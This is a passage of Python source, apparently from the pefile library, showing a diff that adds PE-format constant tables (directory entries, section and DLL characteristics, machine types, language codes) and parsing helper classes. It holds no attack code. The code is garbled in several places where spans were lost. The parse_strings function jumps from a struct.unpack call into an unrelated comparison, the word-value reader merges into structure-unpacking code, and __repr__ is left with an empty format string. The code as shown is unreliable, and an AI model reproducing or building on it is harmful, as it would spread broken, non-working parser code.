("IMAGE_DIRECTORY_ENTRY_EXCEPTION", 3), + ("IMAGE_DIRECTORY_ENTRY_SECURITY", 4), + ("IMAGE_DIRECTORY_ENTRY_BASERELOC", 5), + ("IMAGE_DIRECTORY_ENTRY_DEBUG", 6), + # Architecture on non-x86 platforms + ("IMAGE_DIRECTORY_ENTRY_COPYRIGHT", 7), + ("IMAGE_DIRECTORY_ENTRY_GLOBALPTR", 8), + ("IMAGE_DIRECTORY_ENTRY_TLS", 9), + ("IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG", 10), + ("IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT", 11), + ("IMAGE_DIRECTORY_ENTRY_IAT", 12), + ("IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT", 13), + ("IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR", 14), + ("IMAGE_DIRECTORY_ENTRY_RESERVED", 15), +] + +DIRECTORY_ENTRY = two_way_dict(directory_entry_types) + +image_characteristics = [ + ("IMAGE_FILE_RELOCS_STRIPPED", 0x0001), + ("IMAGE_FILE_EXECUTABLE_IMAGE", 0x0002), + ("IMAGE_FILE_LINE_NUMS_STRIPPED", 0x0004), + ("IMAGE_FILE_LOCAL_SYMS_STRIPPED", 0x0008), + ("IMAGE_FILE_AGGRESIVE_WS_TRIM", 0x0010), + ("IMAGE_FILE_LARGE_ADDRESS_AWARE", 0x0020), + ("IMAGE_FILE_16BIT_MACHINE", 0x0040), + ("IMAGE_FILE_BYTES_REVERSED_LO", 0x0080), + ("IMAGE_FILE_32BIT_MACHINE", 0x0100), + ("IMAGE_FILE_DEBUG_STRIPPED", 0x0200), + ("IMAGE_FILE_REMOVABLE_RUN_FROM_SWAP", 0x0400), + ("IMAGE_FILE_NET_RUN_FROM_SWAP", 0x0800), + ("IMAGE_FILE_SYSTEM", 0x1000), + ("IMAGE_FILE_DLL", 0x2000), + ("IMAGE_FILE_UP_SYSTEM_ONLY", 0x4000), + ("IMAGE_FILE_BYTES_REVERSED_HI", 0x8000), +] + +IMAGE_CHARACTERISTICS = two_way_dict(image_characteristics) + + +section_characteristics = [ + ("IMAGE_SCN_TYPE_REG", 0x00000000), # reserved + ("IMAGE_SCN_TYPE_DSECT", 0x00000001), # reserved + ("IMAGE_SCN_TYPE_NOLOAD", 0x00000002), # reserved + ("IMAGE_SCN_TYPE_GROUP", 0x00000004), # reserved + ("IMAGE_SCN_TYPE_NO_PAD", 0x00000008), # reserved + ("IMAGE_SCN_TYPE_COPY", 0x00000010), # reserved + ("IMAGE_SCN_CNT_CODE", 0x00000020), + ("IMAGE_SCN_CNT_INITIALIZED_DATA", 0x00000040), + ("IMAGE_SCN_CNT_UNINITIALIZED_DATA", 0x00000080), + ("IMAGE_SCN_LNK_OTHER", 0x00000100), + ("IMAGE_SCN_LNK_INFO", 0x00000200), + ("IMAGE_SCN_LNK_OVER", 0x00000400), # reserved + ("IMAGE_SCN_LNK_REMOVE", 0x00000800), + ("IMAGE_SCN_LNK_COMDAT", 0x00001000), + ("IMAGE_SCN_MEM_PROTECTED", 0x00004000), # obsolete + ("IMAGE_SCN_NO_DEFER_SPEC_EXC", 0x00004000), + ("IMAGE_SCN_GPREL", 0x00008000), + ("IMAGE_SCN_MEM_FARDATA", 0x00008000), + ("IMAGE_SCN_MEM_SYSHEAP", 0x00010000), # obsolete + ("IMAGE_SCN_MEM_PURGEABLE", 0x00020000), + ("IMAGE_SCN_MEM_16BIT", 0x00020000), + ("IMAGE_SCN_MEM_LOCKED", 0x00040000), + ("IMAGE_SCN_MEM_PRELOAD", 0x00080000), + ("IMAGE_SCN_ALIGN_1BYTES", 0x00100000), + ("IMAGE_SCN_ALIGN_2BYTES", 0x00200000), + ("IMAGE_SCN_ALIGN_4BYTES", 0x00300000), + ("IMAGE_SCN_ALIGN_8BYTES", 0x00400000), + ("IMAGE_SCN_ALIGN_16BYTES", 0x00500000), # default alignment + ("IMAGE_SCN_ALIGN_32BYTES", 0x00600000), + ("IMAGE_SCN_ALIGN_64BYTES", 0x00700000), + ("IMAGE_SCN_ALIGN_128BYTES", 0x00800000), + ("IMAGE_SCN_ALIGN_256BYTES", 0x00900000), + ("IMAGE_SCN_ALIGN_512BYTES", 0x00A00000), + ("IMAGE_SCN_ALIGN_1024BYTES", 0x00B00000), + ("IMAGE_SCN_ALIGN_2048BYTES", 0x00C00000), + ("IMAGE_SCN_ALIGN_4096BYTES", 0x00D00000), + ("IMAGE_SCN_ALIGN_8192BYTES", 0x00E00000), + ("IMAGE_SCN_ALIGN_MASK", 0x00F00000), + ("IMAGE_SCN_LNK_NRELOC_OVFL", 0x01000000), + ("IMAGE_SCN_MEM_DISCARDABLE", 0x02000000), + ("IMAGE_SCN_MEM_NOT_CACHED", 0x04000000), + ("IMAGE_SCN_MEM_NOT_PAGED", 0x08000000), + ("IMAGE_SCN_MEM_SHARED", 0x10000000), + ("IMAGE_SCN_MEM_EXECUTE", 0x20000000), + ("IMAGE_SCN_MEM_READ", 0x40000000), + ("IMAGE_SCN_MEM_WRITE", 0x80000000), +] + +SECTION_CHARACTERISTICS = two_way_dict(section_characteristics) + + +debug_types = [ + ("IMAGE_DEBUG_TYPE_UNKNOWN", 0), + ("IMAGE_DEBUG_TYPE_COFF", 1), + ("IMAGE_DEBUG_TYPE_CODEVIEW", 2), + ("IMAGE_DEBUG_TYPE_FPO", 3), + ("IMAGE_DEBUG_TYPE_MISC", 4), + ("IMAGE_DEBUG_TYPE_EXCEPTION", 5), + ("IMAGE_DEBUG_TYPE_FIXUP", 6), + ("IMAGE_DEBUG_TYPE_OMAP_TO_SRC", 7), + ("IMAGE_DEBUG_TYPE_OMAP_FROM_SRC", 8), + ("IMAGE_DEBUG_TYPE_BORLAND", 9), + ("IMAGE_DEBUG_TYPE_RESERVED10", 10), + ("IMAGE_DEBUG_TYPE_CLSID", 11), + ("IMAGE_DEBUG_TYPE_VC_FEATURE", 12), + ("IMAGE_DEBUG_TYPE_POGO", 13), + ("IMAGE_DEBUG_TYPE_ILTCG", 14), + ("IMAGE_DEBUG_TYPE_MPX", 15), + ("IMAGE_DEBUG_TYPE_REPRO", 16), + ("IMAGE_DEBUG_TYPE_EX_DLLCHARACTERISTICS", 20), +] + +DEBUG_TYPE = two_way_dict(debug_types) + + +subsystem_types = [ + ("IMAGE_SUBSYSTEM_UNKNOWN", 0), + ("IMAGE_SUBSYSTEM_NATIVE", 1), + ("IMAGE_SUBSYSTEM_WINDOWS_GUI", 2), + ("IMAGE_SUBSYSTEM_WINDOWS_CUI", 3), + ("IMAGE_SUBSYSTEM_OS2_CUI", 5), + ("IMAGE_SUBSYSTEM_POSIX_CUI", 7), + ("IMAGE_SUBSYSTEM_NATIVE_WINDOWS", 8), + ("IMAGE_SUBSYSTEM_WINDOWS_CE_GUI", 9), + ("IMAGE_SUBSYSTEM_EFI_APPLICATION", 10), + ("IMAGE_SUBSYSTEM_EFI_BOOT_SERVICE_DRIVER", 11), + ("IMAGE_SUBSYSTEM_EFI_RUNTIME_DRIVER", 12), + ("IMAGE_SUBSYSTEM_EFI_ROM", 13), + ("IMAGE_SUBSYSTEM_XBOX", 14), + ("IMAGE_SUBSYSTEM_WINDOWS_BOOT_APPLICATION", 16), +] + +SUBSYSTEM_TYPE = two_way_dict(subsystem_types) + + +machine_types = [ + ("IMAGE_FILE_MACHINE_UNKNOWN", 0), + ("IMAGE_FILE_MACHINE_I386", 0x014C), + ("IMAGE_FILE_MACHINE_R3000", 0x0162), + ("IMAGE_FILE_MACHINE_R4000", 0x0166), + ("IMAGE_FILE_MACHINE_R10000", 0x0168), + ("IMAGE_FILE_MACHINE_WCEMIPSV2", 0x0169), + ("IMAGE_FILE_MACHINE_ALPHA", 0x0184), + ("IMAGE_FILE_MACHINE_SH3", 0x01A2), + ("IMAGE_FILE_MACHINE_SH3DSP", 0x01A3), + ("IMAGE_FILE_MACHINE_SH3E", 0x01A4), + ("IMAGE_FILE_MACHINE_SH4", 0x01A6), + ("IMAGE_FILE_MACHINE_SH5", 0x01A8), + ("IMAGE_FILE_MACHINE_ARM", 0x01C0), + ("IMAGE_FILE_MACHINE_THUMB", 0x01C2), + ("IMAGE_FILE_MACHINE_ARMNT", 0x01C4), + ("IMAGE_FILE_MACHINE_AM33", 0x01D3), + ("IMAGE_FILE_MACHINE_POWERPC", 0x01F0), + ("IMAGE_FILE_MACHINE_POWERPCFP", 0x01F1), + ("IMAGE_FILE_MACHINE_IA64", 0x0200), + ("IMAGE_FILE_MACHINE_MIPS16", 0x0266), + ("IMAGE_FILE_MACHINE_ALPHA64", 0x0284), + ("IMAGE_FILE_MACHINE_AXP64", 0x0284), # same + ("IMAGE_FILE_MACHINE_MIPSFPU", 0x0366), + ("IMAGE_FILE_MACHINE_MIPSFPU16", 0x0466), + ("IMAGE_FILE_MACHINE_TRICORE", 0x0520), + ("IMAGE_FILE_MACHINE_CEF", 0x0CEF), + ("IMAGE_FILE_MACHINE_EBC", 0x0EBC), + ("IMAGE_FILE_MACHINE_AMD64", 0x8664), + ("IMAGE_FILE_MACHINE_M32R", 0x9041), + ("IMAGE_FILE_MACHINE_ARM64", 0xAA64), + ("IMAGE_FILE_MACHINE_CEE", 0xC0EE), +] + +MACHINE_TYPE = two_way_dict(machine_types) + + +relocation_types = [ + ("IMAGE_REL_BASED_ABSOLUTE", 0), + ("IMAGE_REL_BASED_HIGH", 1), + ("IMAGE_REL_BASED_LOW", 2), + ("IMAGE_REL_BASED_HIGHLOW", 3), + ("IMAGE_REL_BASED_HIGHADJ", 4), + ("IMAGE_REL_BASED_MIPS_JMPADDR", 5), + ("IMAGE_REL_BASED_SECTION", 6), + ("IMAGE_REL_BASED_REL", 7), + ("IMAGE_REL_BASED_MIPS_JMPADDR16", 9), + ("IMAGE_REL_BASED_IA64_IMM64", 9), + ("IMAGE_REL_BASED_DIR64", 10), + ("IMAGE_REL_BASED_HIGH3ADJ", 11), +] + +RELOCATION_TYPE = two_way_dict(relocation_types) + + +dll_characteristics = [ + ("IMAGE_LIBRARY_PROCESS_INIT", 0x0001), # reserved + ("IMAGE_LIBRARY_PROCESS_TERM", 0x0002), # reserved + ("IMAGE_LIBRARY_THREAD_INIT", 0x0004), # reserved + ("IMAGE_LIBRARY_THREAD_TERM", 0x0008), # reserved + ("IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA", 0x0020), + ("IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE", 0x0040), + ("IMAGE_DLLCHARACTERISTICS_FORCE_INTEGRITY", 0x0080), + ("IMAGE_DLLCHARACTERISTICS_NX_COMPAT", 0x0100), + ("IMAGE_DLLCHARACTERISTICS_NO_ISOLATION", 0x0200), + ("IMAGE_DLLCHARACTERISTICS_NO_SEH", 0x0400), + ("IMAGE_DLLCHARACTERISTICS_NO_BIND", 0x0800), + ("IMAGE_DLLCHARACTERISTICS_APPCONTAINER", 0x1000), + ("IMAGE_DLLCHARACTERISTICS_WDM_DRIVER", 0x2000), + ("IMAGE_DLLCHARACTERISTICS_GUARD_CF", 0x4000), + ("IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE", 0x8000), +] + +DLL_CHARACTERISTICS = two_way_dict(dll_characteristics) + +FILE_ALIGNMENT_HARDCODED_VALUE = 0x200 + + +# Unwind info-related enums + +unwind_info_flags = [ + ("UNW_FLAG_EHANDLER", 0x01), + ("UNW_FLAG_UHANDLER", 0x02), + ("UNW_FLAG_CHAININFO", 0x04), +] + +UNWIND_INFO_FLAGS = two_way_dict(unwind_info_flags) + +registers = [ + ("RAX", 0), + ("RCX", 1), + ("RDX", 2), + ("RBX", 3), + ("RSP", 4), + ("RBP", 5), + ("RSI", 6), + ("RDI", 7), + ("R8", 8), + ("R9", 9), + ("R10", 10), + ("R11", 11), + ("R12", 12), + ("R13", 13), + ("R14", 14), + ("R15", 15), +] + +REGISTERS = two_way_dict(registers) + +# enum _UNWIND_OP_CODES +UWOP_PUSH_NONVOL = 0 +UWOP_ALLOC_LARGE = 1 +UWOP_ALLOC_SMALL = 2 +UWOP_SET_FPREG = 3 +UWOP_SAVE_NONVOL = 4 +UWOP_SAVE_NONVOL_FAR = 5 +UWOP_EPILOG = 6 +UWOP_SAVE_XMM128 = 8 +UWOP_SAVE_XMM128_FAR = 9 +UWOP_PUSH_MACHFRAME = 10 + + +# Resource types +resource_type = [ + ("RT_CURSOR", 1), + ("RT_BITMAP", 2), + ("RT_ICON", 3), + ("RT_MENU", 4), + ("RT_DIALOG", 5), + ("RT_STRING", 6), + ("RT_FONTDIR", 7), + ("RT_FONT", 8), + ("RT_ACCELERATOR", 9), + ("RT_RCDATA", 10), + ("RT_MESSAGETABLE", 11), + ("RT_GROUP_CURSOR", 12), + ("RT_GROUP_ICON", 14), + ("RT_VERSION", 16), + ("RT_DLGINCLUDE", 17), + ("RT_PLUGPLAY", 19), + ("RT_VXD", 20), + ("RT_ANICURSOR", 21), + ("RT_ANIICON", 22), + ("RT_HTML", 23), + ("RT_MANIFEST", 24), +] + +RESOURCE_TYPE = two_way_dict(resource_type) + + +# Language definitions +lang = [ + ("LANG_NEUTRAL", 0x00), + ("LANG_INVARIANT", 0x7F), + ("LANG_AFRIKAANS", 0x36), + ("LANG_ALBANIAN", 0x1C), + ("LANG_ARABIC", 0x01), + ("LANG_ARMENIAN", 0x2B), + ("LANG_ASSAMESE", 0x4D), + ("LANG_AZERI", 0x2C), + ("LANG_BASQUE", 0x2D), + ("LANG_BELARUSIAN", 0x23), + ("LANG_BENGALI", 0x45), + ("LANG_BULGARIAN", 0x02), + ("LANG_CATALAN", 0x03), + ("LANG_CHINESE", 0x04), + ("LANG_CROATIAN", 0x1A), + ("LANG_CZECH", 0x05), + ("LANG_DANISH", 0x06), + ("LANG_DIVEHI", 0x65), + ("LANG_DUTCH", 0x13), + ("LANG_ENGLISH", 0x09), + ("LANG_ESTONIAN", 0x25), + ("LANG_FAEROESE", 0x38), + ("LANG_FARSI", 0x29), + ("LANG_FINNISH", 0x0B), + ("LANG_FRENCH", 0x0C), + ("LANG_GALICIAN", 0x56), + ("LANG_GEORGIAN", 0x37), + ("LANG_GERMAN", 0x07), + ("LANG_GREEK", 0x08), + ("LANG_GUJARATI", 0x47), + ("LANG_HEBREW", 0x0D), + ("LANG_HINDI", 0x39), + ("LANG_HUNGARIAN", 0x0E), + ("LANG_ICELANDIC", 0x0F), + ("LANG_INDONESIAN", 0x21), + ("LANG_ITALIAN", 0x10), + ("LANG_JAPANESE", 0x11), + ("LANG_KANNADA", 0x4B), + ("LANG_KASHMIRI", 0x60), + ("LANG_KAZAK", 0x3F), + ("LANG_KONKANI", 0x57), + ("LANG_KOREAN", 0x12), + ("LANG_KYRGYZ", 0x40), + ("LANG_LATVIAN", 0x26), + ("LANG_LITHUANIAN", 0x27), + ("LANG_MACEDONIAN", 0x2F), + ("LANG_MALAY", 0x3E), + ("LANG_MALAYALAM", 0x4C), + ("LANG_MANIPURI", 0x58), + ("LANG_MARATHI", 0x4E), + ("LANG_MONGOLIAN", 0x50), + ("LANG_NEPALI", 0x61), + ("LANG_NORWEGIAN", 0x14), + ("LANG_ORIYA", 0x48), + ("LANG_POLISH", 0x15), + ("LANG_PORTUGUESE", 0x16), + ("LANG_PUNJABI", 0x46), + ("LANG_ROMANIAN", 0x18), + ("LANG_RUSSIAN", 0x19), + ("LANG_SANSKRIT", 0x4F), + ("LANG_SERBIAN", 0x1A), + ("LANG_SINDHI", 0x59), + ("LANG_SLOVAK", 0x1B), + ("LANG_SLOVENIAN", 0x24), + ("LANG_SPANISH", 0x0A), + ("LANG_SWAHILI", 0x41), + ("LANG_SWEDISH", 0x1D), + ("LANG_SYRIAC", 0x5A), + ("LANG_TAMIL", 0x49), + ("LANG_TATAR", 0x44), + ("LANG_TELUGU", 0x4A), + ("LANG_THAI", 0x1E), + ("LANG_TURKISH", 0x1F), + ("LANG_UKRAINIAN", 0x22), + ("LANG_URDU", 0x20), + ("LANG_UZBEK", 0x43), + ("LANG_VIETNAMESE", 0x2A), + ("LANG_GAELIC", 0x3C), + ("LANG_MALTESE", 0x3A), + ("LANG_MAORI", 0x28), + ("LANG_RHAETO_ROMANCE", 0x17), + ("LANG_SAAMI", 0x3B), + ("LANG_SORBIAN", 0x2E), + ("LANG_SUTU", 0x30), + ("LANG_TSONGA", 0x31), + ("LANG_TSWANA", 0x32), + ("LANG_VENDA", 0x33), + ("LANG_XHOSA", 0x34), + ("LANG_ZULU", 0x35), + ("LANG_ESPERANTO", 0x8F), + ("LANG_WALON", 0x90), + ("LANG_CORNISH", 0x91), + ("LANG_WELSH", 0x92), + ("LANG_BRETON", 0x93), +] + +LANG = two_way_dict(lang) + + +# Sublanguage definitions +sublang = [ + ("SUBLANG_NEUTRAL", 0x00), + ("SUBLANG_DEFAULT", 0x01), + ("SUBLANG_SYS_DEFAULT", 0x02), + ("SUBLANG_ARABIC_SAUDI_ARABIA", 0x01), + ("SUBLANG_ARABIC_IRAQ", 0x02), + ("SUBLANG_ARABIC_EGYPT", 0x03), + ("SUBLANG_ARABIC_LIBYA", 0x04), + ("SUBLANG_ARABIC_ALGERIA", 0x05), + ("SUBLANG_ARABIC_MOROCCO", 0x06), + ("SUBLANG_ARABIC_TUNISIA", 0x07), + ("SUBLANG_ARABIC_OMAN", 0x08), + ("SUBLANG_ARABIC_YEMEN", 0x09), + ("SUBLANG_ARABIC_SYRIA", 0x0A), + ("SUBLANG_ARABIC_JORDAN", 0x0B), + ("SUBLANG_ARABIC_LEBANON", 0x0C), + ("SUBLANG_ARABIC_KUWAIT", 0x0D), + ("SUBLANG_ARABIC_UAE", 0x0E), + ("SUBLANG_ARABIC_BAHRAIN", 0x0F), + ("SUBLANG_ARABIC_QATAR", 0x10), + ("SUBLANG_AZERI_LATIN", 0x01), + ("SUBLANG_AZERI_CYRILLIC", 0x02), + ("SUBLANG_CHINESE_TRADITIONAL", 0x01), + ("SUBLANG_CHINESE_SIMPLIFIED", 0x02), + ("SUBLANG_CHINESE_HONGKONG", 0x03), + ("SUBLANG_CHINESE_SINGAPORE", 0x04), + ("SUBLANG_CHINESE_MACAU", 0x05), + ("SUBLANG_DUTCH", 0x01), + ("SUBLANG_DUTCH_BELGIAN", 0x02), + ("SUBLANG_ENGLISH_US", 0x01), + ("SUBLANG_ENGLISH_UK", 0x02), + ("SUBLANG_ENGLISH_AUS", 0x03), + ("SUBLANG_ENGLISH_CAN", 0x04), + ("SUBLANG_ENGLISH_NZ", 0x05), + ("SUBLANG_ENGLISH_EIRE", 0x06), + ("SUBLANG_ENGLISH_SOUTH_AFRICA", 0x07), + ("SUBLANG_ENGLISH_JAMAICA", 0x08), + ("SUBLANG_ENGLISH_CARIBBEAN", 0x09), + ("SUBLANG_ENGLISH_BELIZE", 0x0A), + ("SUBLANG_ENGLISH_TRINIDAD", 0x0B), + ("SUBLANG_ENGLISH_ZIMBABWE", 0x0C), + ("SUBLANG_ENGLISH_PHILIPPINES", 0x0D), + ("SUBLANG_FRENCH", 0x01), + ("SUBLANG_FRENCH_BELGIAN", 0x02), + ("SUBLANG_FRENCH_CANADIAN", 0x03), + ("SUBLANG_FRENCH_SWISS", 0x04), + ("SUBLANG_FRENCH_LUXEMBOURG", 0x05), + ("SUBLANG_FRENCH_MONACO", 0x06), + ("SUBLANG_GERMAN", 0x01), + ("SUBLANG_GERMAN_SWISS", 0x02), + ("SUBLANG_GERMAN_AUSTRIAN", 0x03), + ("SUBLANG_GERMAN_LUXEMBOURG", 0x04), + ("SUBLANG_GERMAN_LIECHTENSTEIN", 0x05), + ("SUBLANG_ITALIAN", 0x01), + ("SUBLANG_ITALIAN_SWISS", 0x02), + ("SUBLANG_KASHMIRI_SASIA", 0x02), + ("SUBLANG_KASHMIRI_INDIA", 0x02), + ("SUBLANG_KOREAN", 0x01), + ("SUBLANG_LITHUANIAN", 0x01), + ("SUBLANG_MALAY_MALAYSIA", 0x01), + ("SUBLANG_MALAY_BRUNEI_DARUSSALAM", 0x02), + ("SUBLANG_NEPALI_INDIA", 0x02), + ("SUBLANG_NORWEGIAN_BOKMAL", 0x01), + ("SUBLANG_NORWEGIAN_NYNORSK", 0x02), + ("SUBLANG_PORTUGUESE", 0x02), + ("SUBLANG_PORTUGUESE_BRAZILIAN", 0x01), + ("SUBLANG_SERBIAN_LATIN", 0x02), + ("SUBLANG_SERBIAN_CYRILLIC", 0x03), + ("SUBLANG_SPANISH", 0x01), + ("SUBLANG_SPANISH_MEXICAN", 0x02), + ("SUBLANG_SPANISH_MODERN", 0x03), + ("SUBLANG_SPANISH_GUATEMALA", 0x04), + ("SUBLANG_SPANISH_COSTA_RICA", 0x05), + ("SUBLANG_SPANISH_PANAMA", 0x06), + ("SUBLANG_SPANISH_DOMINICAN_REPUBLIC", 0x07), + ("SUBLANG_SPANISH_VENEZUELA", 0x08), + ("SUBLANG_SPANISH_COLOMBIA", 0x09), + ("SUBLANG_SPANISH_PERU", 0x0A), + ("SUBLANG_SPANISH_ARGENTINA", 0x0B), + ("SUBLANG_SPANISH_ECUADOR", 0x0C), + ("SUBLANG_SPANISH_CHILE", 0x0D), + ("SUBLANG_SPANISH_URUGUAY", 0x0E), + ("SUBLANG_SPANISH_PARAGUAY", 0x0F), + ("SUBLANG_SPANISH_BOLIVIA", 0x10), + ("SUBLANG_SPANISH_EL_SALVADOR", 0x11), + ("SUBLANG_SPANISH_HONDURAS", 0x12), + ("SUBLANG_SPANISH_NICARAGUA", 0x13), + ("SUBLANG_SPANISH_PUERTO_RICO", 0x14), + ("SUBLANG_SWEDISH", 0x01), + ("SUBLANG_SWEDISH_FINLAND", 0x02), + ("SUBLANG_URDU_PAKISTAN", 0x01), + ("SUBLANG_URDU_INDIA", 0x02), + ("SUBLANG_UZBEK_LATIN", 0x01), + ("SUBLANG_UZBEK_CYRILLIC", 0x02), + ("SUBLANG_DUTCH_SURINAM", 0x03), + ("SUBLANG_ROMANIAN", 0x01), + ("SUBLANG_ROMANIAN_MOLDAVIA", 0x02), + ("SUBLANG_RUSSIAN", 0x01), + ("SUBLANG_RUSSIAN_MOLDAVIA", 0x02), + ("SUBLANG_CROATIAN", 0x01), + ("SUBLANG_LITHUANIAN_CLASSIC", 0x02), + ("SUBLANG_GAELIC", 0x01), + ("SUBLANG_GAELIC_SCOTTISH", 0x02), + ("SUBLANG_GAELIC_MANX", 0x03), +] + +SUBLANG = two_way_dict(sublang) + +# Initialize the dictionary with all the name->value pairs +SUBLANG = dict(sublang) +# Now add all the value->name information, handling duplicates appropriately +for sublang_name, sublang_value in sublang: + if sublang_value in SUBLANG: + SUBLANG[sublang_value].append(sublang_name) + else: + SUBLANG[sublang_value] = [sublang_name] + +# Resolve a sublang name given the main lang name +# +def get_sublang_name_for_lang(lang_value, sublang_value): + lang_name = LANG.get(lang_value, "*unknown*") + for sublang_name in SUBLANG.get(sublang_value, []): + # if the main language is a substring of sublang's name, then + # return that + if lang_name in sublang_name: + return sublang_name + # otherwise return the first sublang name + return SUBLANG.get(sublang_value, ["*unknown*"])[0] + + +# Ange Albertini's code to process resources' strings +# +def parse_strings(data, counter, l): + i = 0 + error_count = 0 + while i < len(data): + + data_slice = data[i : i + 2] + if len(data_slice) < 2: + break + + len_ = struct.unpack("= 3: + break + i += len_ * 2 + counter += 1 + + +def retrieve_flags(flag_dict, flag_filter): + """Read the flags from a dictionary and return them in a usable form. + + Will return a list of (flag, value) for all flags in "flag_dict" + matching the filter "flag_filter". + """ + + return [ + (flag, flag_dict[flag]) + for flag in flag_dict.keys() + if isinstance(flag, (str, bytes)) and flag.startswith(flag_filter) + ] + + +def set_flags(obj, flag_field, flags): + """Will process the flags and set attributes in the object accordingly. + + The object "obj" will gain attributes named after the flags provided in + "flags" and valued True/False, matching the results of applying each + flag value from "flags" to flag_field. + """ + + for flag, value in flags: + if value & flag_field: + obj.__dict__[flag] = True + else: + obj.__dict__[flag] = False + + +def power_of_two(val): + return val != 0 and (val & (val - 1)) == 0 + + +def b(x): + if isinstance(x, bytes): + return x + elif isinstance(x, bytearray): + return bytes(x) + else: + return codecs.encode(x, "cp1252") + + +class AddressSet(set): + def __init__(self): + super().__init__() + self.min = None + self.max = None + + def add(self, value): + super().add(value) + self.min = value if self.min is None else min(self.min, value) + self.max = value if self.max is None else max(self.max, value) + + def diff(self): + return 0 if self.min is None or self.max is None else self.max - self.min + + +class UnicodeStringWrapperPostProcessor: + """This class attempts to help the process of identifying strings + that might be plain Unicode or Pascal. A list of strings will be + wrapped on it with the hope the overlappings will help make the + decision about their type.""" + + def __init__(self, pe, rva_ptr): + self.pe = pe + self.rva_ptr = rva_ptr + self.string = None + + def get_rva(self): + """Get the RVA of the string.""" + return self.rva_ptr + + def __str__(self): + """Return the escaped UTF-8 representation of the string.""" + return self.decode("utf-8", "backslashreplace_") + + def decode(self, *args): + if not self.string: + return "" + return self.string.decode(*args) + + def invalidate(self): + """Make this instance None, to express it's no known string type.""" + self = None + + def render_pascal_16(self): + try: + self.string = self.pe.get_string_u_at_rva( + self.rva_ptr + 2, max_length=self.get_pascal_16_length() + ) + except PEFormatError: + self.pe.get_warnings().append( + "Failed rendering pascal string, " + "attempting to read from RVA 0x{0:x}".format(self.rva_ptr + 2) + ) + + def get_pascal_16_length(self): + return self.__get_word_value_at_rva(self.rva_ptr) + + def __get_word_value_at_rva(self, rva): + try: + data = self.pe.get_data(rva, 2) + except PEFormatError: + return False + + if len(data) < 2: + return False + + return struct.unpack(" self.__format_length__: + data = data[: self.__format_length__] + + # OC Patch: + # Some malware have incorrect header lengths. + # Fail gracefully if this occurs + # Buggy malware: a29b0118af8b7408444df81701ad5a7f + # + elif len(data) < self.__format_length__: + raise PEFormatError("Data length less than expected header length.") + + if count_zeroes(data) == len(data): + self.__all_zeroes__ = True + + self.__unpacked_data_elms__ = struct.unpack(self.__format__, data) + for idx, val in enumerate(self.__unpacked_data_elms__): + for key in self.__keys__[idx]: + setattr(self, key, val) + + def __pack__(self): + + new_values = [] + + for idx, val in enumerate(self.__unpacked_data_elms__): + + for key in self.__keys__[idx]: + new_val = getattr(self, key) + + # In the case of unions, when the first changed value + # is picked the loop is exited + if new_val != val: + break + + new_values.append(new_val) + + return struct.pack(self.__format__, *new_values) + + def __str__(self): + return "\n".join(self.dump()) + + def __repr__(self): + return "" % ( + " ".join([" ".join(s.split()) for s in self.dump()]) + ) + + def dump(self, indentation=0): + """Returns a string representation of the structure.""" + + dump = [] + + dump.append("[{0}]".format(self.name)) + + printable_bytes = [ + ord(i) for i in string.printable if i not in string.whitespace + ] + + # Refer to the __set_format__ method for an explanation + # of the following construct. + for keys in self.__keys__: + for key in keys: + + val = getattr(self, key) + if isinstance(val, (int, long)): + if key.startswith("Signature_"): + val_str = "{:<8X}".format(val) + else: + val_str = "0x{:<8X}".format(val) + if key == "TimeDateStamp" or key == "dwTimeStamp": + try: + val_str += " [%s UTC]" % time.asctime(time.gmtime(val)) + except ValueError: + val_str += " [INVALID TIME]" + else: + val_str = bytearray(val) + if key.startswith("Signature"): + val_str = "".join( + ["{:02X}".format(i) for i in val_str.rstrip(b"\x00")] + ) + else: + val_str = "".join( + [ + chr(i) + if (i in printable_bytes) + else "\\x{0:02x}".format(i) + for i in val_str.rstrip(b"\x00") + ] + ) + + dump.append( + "0x%-8X 0x%-3X %-30s %s" + % ( + self.__field_offsets__[key] + self.__file_offset__, + self.__field_offsets__[key], + key + ":", + val_str, + ) + ) + + return dump + + def dump_dict(self): + """Returns a dictionary representation of the structure.""" + + dump_dict = {} + + dump_dict["Structure"] = self.name + + # Refer to the __set_format__ method for an explanation + # of the following construct. + for keys in self.__keys__: + for key in keys: + + val = getattr(self, key) + if isinstance(val, (int, long)): + if key == "TimeDateStamp" or key == "dwTimeStamp": + try: + val = "0x%-8X [%s UTC]" % ( + val, + time.asctime(time.gmtime(val)), + ) + except ValueError: + val = "0x%-8X [INVALID TIME]" % val + else: + val = "".join( + chr(d) if chr(d) in string.printable else "\\x%02x" % d + for d in [ord(c) if not isinstance(c, int) else c for c in val] + ) + + dump_dict[key] = { + "FileOffset": self.__field_offsets__[key] + self.__file_offset__, + "Offset": self.__field_offsets__[key], + "Value": val, + } + + return dump_dict + + +class SectionStructure(Structure): + """Convenience section handling class.""" + + def __init__(self, *argl, **argd): + if "pe" in argd: + self.pe = argd["pe"] + del argd["pe"] + + Structure.__init__(self, *argl, **argd) + self.PointerToRawData_adj = None + self.VirtualAddress_adj = None + self.section_min_addr = None + self.section_max_addr = None + + def get_PointerToRawData_adj(self): + if self.PointerToRawData_adj is None: + if self.PointerToRawData is not None: + self.PointerToRawData_adj = self.pe.adjust_FileAlignment( + self.PointerToRawData, self.pe.OPTIONAL_HEADER.FileAlignment + ) + return self.PointerToRawData_adj + + def get_VirtualAddress_adj(self): + if self.VirtualAddress_adj is None: + if self.VirtualAddress is not None: + self.VirtualAddress_adj = self.pe.adjust_SectionAlignment( + self.VirtualAddress, + self.pe.OPTIONAL_HEADER.SectionAlignment, + self.pe.OPTIONAL_HEADER.FileAlignment, + ) + return self.VirtualAddress_adj + + def get_data(self, start=None, length=None, ignore_padding=False): + """Get data chunk from a section. + + Allows to query data from the section by passing the + addresses where the PE file would be loaded by default. + It is then possible to retrieve code and data by their real + addresses as they would be if loaded. + + Note that sections on disk can include padding that would + not be loaded to memory. That is the case if `section.SizeOfRawData` + is greater than `section.Misc_VirtualSize`, and that means + that data past `section.Misc_VirtualSize` is padding. + In case you are not interested in this padding, passing + `ignore_padding=True` will truncate the result in order + not to return the padding (if any). + + Returns bytes() under Python 3.x and set() under Python 2.7 + """ + + if start is None: + offset = self.get_PointerToRawData_adj() + else: + offset = ( + start - self.get_VirtualAddress_adj() + 